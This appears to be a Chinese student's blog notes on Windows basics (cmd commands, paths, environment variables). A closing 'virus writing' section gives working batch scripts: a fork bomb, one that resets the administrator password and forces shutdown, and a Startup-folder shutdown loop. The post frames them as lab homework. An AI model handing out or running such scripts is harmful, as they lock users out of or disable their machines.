当前位置: 首页 > article >正文

WEB_星河飞雪_Windows(全)

Windows基础

这一节就主要将一些Windows的一些基础命令。

文件系统及其简述管理机制

首先linux操作系统有一个核心的概念就是——在linux中一切都是文件,几乎很多重要的东西都挂在根目录下(“/”),它采用的是fhs目录结构( Filesystem Hierarchy Standard ),块设备挂载到目录,如果想进一步知道什么是fhs可以自己搜搜。因此他不像Windows一样。

Windows 的设计理念与 Linux 的“一切皆文件”不同。 但是Windows也是有类似的概念的。Windows主要是通过注册表来存储配置和系统设置,但是在linux中这些是由配置文件实现的(/etc,/proc)。Windows更加偏向于通过专门的API接口来进行一些管理和操作(如对设备,进程,网络资源等),他是以盘符来管理文件的。在后面我们还会对linux和Windows操作系统进行一个比较分析

路径格式

Windows和linux的路径格式也不一样。比如在linux中是“/”(左划线)开始,并且区分大小写。在Windows里面是以“\”(右划线)开始,并且不区分大小写。\\我们自己的kali虚拟机就是linux操作系统的

与用户交互

Windows下主要是通过以下四种接口来与用户交互的

1.GUI图像化界面(就是你用鼠标点一下图标就可以运行的那种。好处是方便了,坏处就是没有直接通过命令执行那么快)

2.cmd命令行用户接口,里面存了很多预指令。那么如何查看这个指令呢?

我们win+R打开cmd,cd \回到根目录,然后输入HELP,即可看到他的一些指令,这里只选了一部分,然后课后的作业呢就是选一些重要的指令来进行一些实际的演示

可以装一个Win10或者win7的虚拟机,这个CSDN或者谷歌搜一下就可以了这个安装不是很难

3.wmic(之前这个是比较厉害的,不过后来微软他们想在Windows里面也想搞一个像ubuntu那样的shell出来,所以从21h1版本就已经被弃用了,被powershell替代)

4.powershell(应该自动化脚本框架,支持.net架构)

wsl(在Windows上面运行的一个子系统,如果不想在VMWARE里面搞虚拟机的话,可以在WSL里面搞一个ubuntu,kali没试过)

Windows常用命令

以下命令最好会默写,再不急也要想到这个什么操作好像有一个命令来自,不然到时候上谷歌或者edge查资料都不好查

cd //显示当前目录的名称或将其更改
cmd //打开另外有Windows命令解释程序端口
copy //将至少一个文件复制到另一个位置
del //删除至少一个文件
dir //显示一个目录中的文件和子目录
echo //显示消息,或者将命令回显打开或者关闭
erase //删除一个或者多个文件
find //在一个或者多个文件中搜索一个文本字符串
findstr //在多个文件中搜字符串
mkdir //创建一个目录
more //逐屏显示输出
move //将一个或者多个文件从一个目录移到另一个目录
ren  //重命名文件命名
rmdir//删除目录
type //显示文本内容,相当于linux中的cat
attrib //显示或修改文件扩展名关联
bcdedit //
systeminfo//显示计算机的属性
start //启动单个窗口以运行程序
shutdown //允许本地或者远程方式关闭计算机
tasklist //显示包括服务在内的所有当前运行的任务
taskkill //终止正在运行的进程或者应用程序
time //显示或者设置系统时间
tracert //网络路径追踪
msinfo32 //查看系统一些属性及其设置
dir /A   //查看系统当前目录下所有文件
dir /s flag.txt  //搜索文件名
dir /tw/od //最近编辑的文件

当然上面这些命令的具体用法都可以在网上找到,所以这里只以dir的使用为一个简单例子,不重复造轮子了。可能有些命令用的会很少,但是也值得了解一下

Windows CMD常用命令大全(值得收藏)_cmd命令-CSDN博客然后这是一篇文章里面写一些常用的Windows命令,这些必须是课后复现一下当做作业。

那么我们先来复现一些重要的命令吧,就拿我的win10的一个虚拟机演示

这里cd显示当前目录类似于Linux的pwd,当然这些是我之前学过的,不过linux里面也有cd,用法和Windows里面也差不多,这里在cmd窗口里面Cd D。然后再按Tab可以补全 ,然后再dir,看看当前目录下的文件及其文件夹。然后我们还可以cd ..回退上一级目录在linux中也是如此。

然后这里echo和一些比较重要的用法比较重要单独拎出来讲讲。

echo用法

可以通过

echo fengqingsf666>>fengqing.txt

这一条指令来在当前目录创建一个fengqing.txt文件并且内容为fengqingsf666

那么如果我想要再写一行在这个fengqingsf666下面,还是这条指令吗?还用的话就会覆盖,可以自行上网搜搜

type

相当于linux里面的cat,获取文件里面的内容。typr+文件名即可获得文件里面的内容

ren

ren 原文件名字 新的文件名字

mkdir

tasklist

move

longyusec为一个目录

attrib

好像并不会显示目录

del

把1.rtf文件删除

erase

这也是删除文件,那么他和del有什么区别吗?为什么要搞两个这样的命令出来

copy

rmdir

在删除目录之前你得保证,你要删除的目录是空的,如果不是空的则会显示

把里面的文档移出来后删除成功

find

用法挺复杂的,先看看ai怎么说

    • 在 Windows 的命令提示符(cmd)中,find命令主要用于在文件或者命令的输出结果中查找指定的字符串。基本语法是find [/V] [/C] [/N] [/I] [/OFF[LINE]] "string" [[drive:][path]filename[...]]
    • 其中:
      • /V:显示所有未包含指定字符串的行。例如,如果你有一个文件test.txt,内容是 “apple\nbanana\ncherry”,使用find /V "banana" test.txt,输出将是 “apple\ncherry”,即不包含 “banana” 的行。
      • /C:计算包含指定字符串的行数。比如对于文件test.txt(内容同上),find /C "a" test.txt会输出 “2”,因为有两行(“apple” 和 “banana”)包含字母 “a”。
      • /N:显示行号。如果执行find /N "e" test.txt(文件内容同上),输出将是 “[1] apple\n [2] banana\n [3] cherry”,每行前面会显示行号,并且包含 “e” 的行也会显示出来。
      • /I:忽略大小写。例如,find /I "A" test.txt(文件内容同上)会找到包含 “a” 或 “A” 的行。
      • "string":这是要查找的字符串,必须用双引号引起来。
      • [[drive:][path]filename[...]]:这是要查找的文件路径和文件名,可以指定多个文件。如果不指定文件名,find命令会尝试从标准输入(例如,另一个命令的输出)中读取内容。
  1. 在文件中查找字符串
    • 假设你有一个文本文件C:\Users\example\test.txt,内容是 “Hello, world!\nThis is a test.”,要查找 “test” 这个字符串,可以在命令提示符中输入find "test" C:\Users\example\test.txt,然后按回车键。
    • 命令会在test.txt文件中查找 “test” 字符串,并输出包含该字符串的行,即 “This is a test.”。
  1. 结合其他命令使用
    • 例如,你可以结合type命令(用于显示文本文件的内容)来查找文件内容中的字符串。如果要查找当前目录下file1.txtfile2.txt中包含 “error” 的行,可以输入type file1.txt file2.txt | find "error"
    • 这里type命令先将file1.txtfile2.txt的内容输出,管道符|将输出结果传递给find命令,find命令再从中查找包含 “error” 的行。

taskkill

这里taskkill我们需要使用taskkill + IM才能删除,不能直接+正在运行的文件名字。不过就算执行了,很多关于系统级别的进程,它会拒绝执行你的指令,可能需要管理员身份运行它

TASKKILL /F /IM cmd.exe /T

上面这条指令可以用来关闭你打开的cmd窗口,下面的这个哪怕我用管理员权限去执行,还是会给我警告

如果只是以普通的用户去执行的话甚至访问不了

最后如果你们搞到一般想不起来这个命令的一些用法了,又不想去查,就可以使用命令+ /?

如“taskklii /?”查看命令的帮助文档

那么你们会不会有一个问题呢?为什么我们已经有了这么方面快捷的图形化界面,还要学这么多指令呢?难道就是为了提块一点速度吗?当然不是,龙哥在课上也说过,如果后期我们渗透学的已经有能力拿下远程主机的话,我们是获取不到它的一个GUI界面的,只能通过命令行来交互,从而实现进一步的攻击(横向?还是打域?)。不过听别人说一些系统都是靠pwn攻进去,但是,目前不知道pwn在渗透中到底有什么作用,感觉哪些网站的漏洞,或者OA系统的一些漏洞靠栈溢出打吗?不懂,还是学的太浅了

Windows的一些重要文件目录

存放一些32位的程序,64位存储64位的程序

存储32位版本程序

隐藏目录,通常包含全局程序数据,所有登录用户都可以访问这些数据

user/public 用户共享文件夹,所用用户都有权限访问

user\[username]\appdata 隐藏子目录,存储用户应用程序数据和设置

Windows\system,system32,syswow64 存储动态链接文件,Windows和api的核心文件,最好不要乱动里面的东西,当然我说的是在操作自己电脑的时候。

然后我们再来了解一下环境变量

那么你们知道什么是环境变量吗?我想可能大多数人都没有怎么了解过,环境变量它的一个主要的作用就是。 通过设置环境变量,可以让用户在任何位置都能访问某些命令或文件,而不必每次都输入完整路径 。这是什么意思呢?如果我要执行qq.exe这个文件,那么我们就必须输入它的完整路径(桌面的快捷方式也只是对这个完整路径进行了一个封装而已)。那么如果我想要在任意位置下输入qq.exe就执行它可不可以呢?当然可以,前提是添加环境变量,Windows里面的很多工具也是这些的原理。

这里我直接在我的用户目录下输入qq.exe直接执行了程序,当然我在桌面或者是其他无论哪个路径输入我都可以执行,这就是因为我把它添加到了PATH环境变量中,如果不添加,则会显示找不到。

再拿ping来举例。ping 是一个可执行程序,它的所在路径必须在系统的 PATH 环境变量中。PATH 变量列出了操作系统查找可执行文件的目录。如果 ping 命令所在的目录没有添加到 PATH 中,用户就不能直接在命令行中使用 ping 命令,而需要指定完整的路径。

下面是一些查看环境变量的指令

echo %username%
echo %path%
echo %temp%
echo %userprofile%
set //当前命令下的环境变量列出
set p//查看名称p开头的环境变量

如何修改环境变量呢?看下图

这里就不方便演示了,先了解清楚原理,不然到时候在主机里面乱试,把一些重要的环境变量改了就不好了

Windos基础之病毒编写

先来学习几个有手就行的病毒吧

start cmd
%0

在文档里面写这个,然后再把后缀改为.bat再在Windows里面双击执行就可以了,建议不要在主机里面试,在虚拟机里面试一下就可以了。这里就是一个无限弹窗病毒,你双击执行这个.bat文件之后cmd命令就会一直执行,直到计算机资源耗尽为止。其实遇到这种的话关机就好了,但是有些可能就没那么简单了,所以当你们朋友发来一些奇奇怪怪的东西的时候,还是问清楚再运行的好

这就是在win7运行后的结果

作业1

然后我们先来完成一下泷哥布置的作业,实现下面这三个课后让我们复现的病毒。注意:不要在主机里面尝试,出现任何问题与本人无关。可以用虚拟机,win7,win10都可以,在进行尝试之前可以先存一个快照

(我一下用于演示的是winxp)

echo net user administrator 123456 > c:\windows\Temp\1.bat
echo shutdown /f /t 0 >> c:\windows\Temp\1.bat
c:\windows\Temp\1.bat

这段代码是什么意思呢?我们可以来虚拟机里面先试试这个代码块指令,我把它封装成了一个bat脚本,在Windows里双击即可运行

那么我们运行之后,计算机就会立即关机,然后要让我输入密码

之前我的winxp是没有设置密码的,之所以要密码是因为上面的net user administrator 123456这条语句修改了我们用户的密码(改后的密码是123456),可能高版本的话执行这条语句会失败,但是winxp和win7是可以的。那么如果我们收到了一个这样的文件,好奇地打开了它,那么你的电脑可能就得被锁机一段时间了。

我想这可能是最初的勒索软件的思路由来吧,或者感觉是属于是一种恶搞性质之类的,因为一般有点常识的人再看到.bat这种文件后缀的时候就应该不敢点了,不过现在的勒索软件可能有些看起来挺正常的,再加上好奇心严重的话就。。。。。不过如果后面对逆向感兴趣的话,这种勒索软件,病毒分析工程师貌似也是一个不错的岗位。

echo shutdown /n /t 0 >> c:\windows\Temp\1.bat
copy c:\windows\Temp\1.bat  "%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start\Menu\Programs\Startup\"

建议试之前存一个快照,这条指令的简要描述就是把shutdown的指令写入环境变量里面,然后导致每次电脑在开机的时候就会自动执行shutdown从导致无限重启。不过我在win7和win10的时候执行这条语句的时候,都显示拒绝访问,我在想如果是linux的话可能也就是一个sudo的事情吧,这里则需要以管理员方式运行cmd或者powershell。不过后面还是没有成功,但是貌似可以以另外一种方法来实现,毕竟他的原理是在启动的时候执行这个命令。到时候再试试

"USERPROFILE%\AppData\Roaming\Microsoft\windows\Start\Menu\Programs\Startup"

这段代码的实际效果是:将 1.bat 文件(一个批处理文件)复制到用户的启动文件夹中,使得每次用户登录时,这个批处理文件中的命令都会自动执行。

须知

本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若有人因此作出任何危害网络安全的行为,后果自负,与本人无关。

:严禁用Shodan干违法乱纪的事情,如果有人学习本篇文章后做出破坏法律的事情一律与本人无关,本篇文章只用作学习途径使用。也希望你们不要干坏事


http://www.kler.cn/a/428916.html

相关文章:

  • C语言之整数转换英文表示
  • 【QT用户登录与界面跳转】
  • 设计和优化用于 AR、HUD 和高级显示系统的表面浮雕光栅
  • springboot医院信管系统
  • 【转】厚植根基,同启新程!一文回顾 2024 OpenHarmony 社区年度工作会议精彩瞬间
  • CSS:语法、样式表、选择器
  • HCIA-Access V2.5_2_2网络通信基础_TCP/IP模型结构
  • Unity引擎UI滚动列表——滚动复用基础介绍
  • Javascript Clipper library, v6(介绍目录)
  • 六、隐语PIR功能及使用介绍
  • 漫画之家:基于Spring Boot的漫画社交网络平台
  • C# WPF抽奖程序
  • 如何在UI自动化测试中创建稳定的定位器?
  • 笔记:在WPF中BitmapSource都有哪些派生类,他们主要功能,使用方法,使用场景
  • SpringBoot实现前后端传输加密设计
  • php项目的sdk封装成composer包的创建与发版
  • 【光电融合集成电路制造与封测】第四讲:扩散工艺,扩散的类型,恒定表面源扩散,限定表面源扩散,硼扩散
  • 分享一个您在汽车软件安全性测试中发现严重漏洞的案例,以及如何处理
  • 30天学会Go--第6天 GO语言 RESTful API 学习与实践
  • Tomcat(基础篇)
  • <router-view> 中key和name属性的用法详解以及案例
  • 试题转excel;pdf转excel;试卷转Excel,word试题转excel
  • 力扣 对称二叉树-101
  • 如何利用Python爬虫获得商品类目
  • ARM寄存器简介
  • 基于单片机的书写坐姿规范提醒器设计(论文+源码)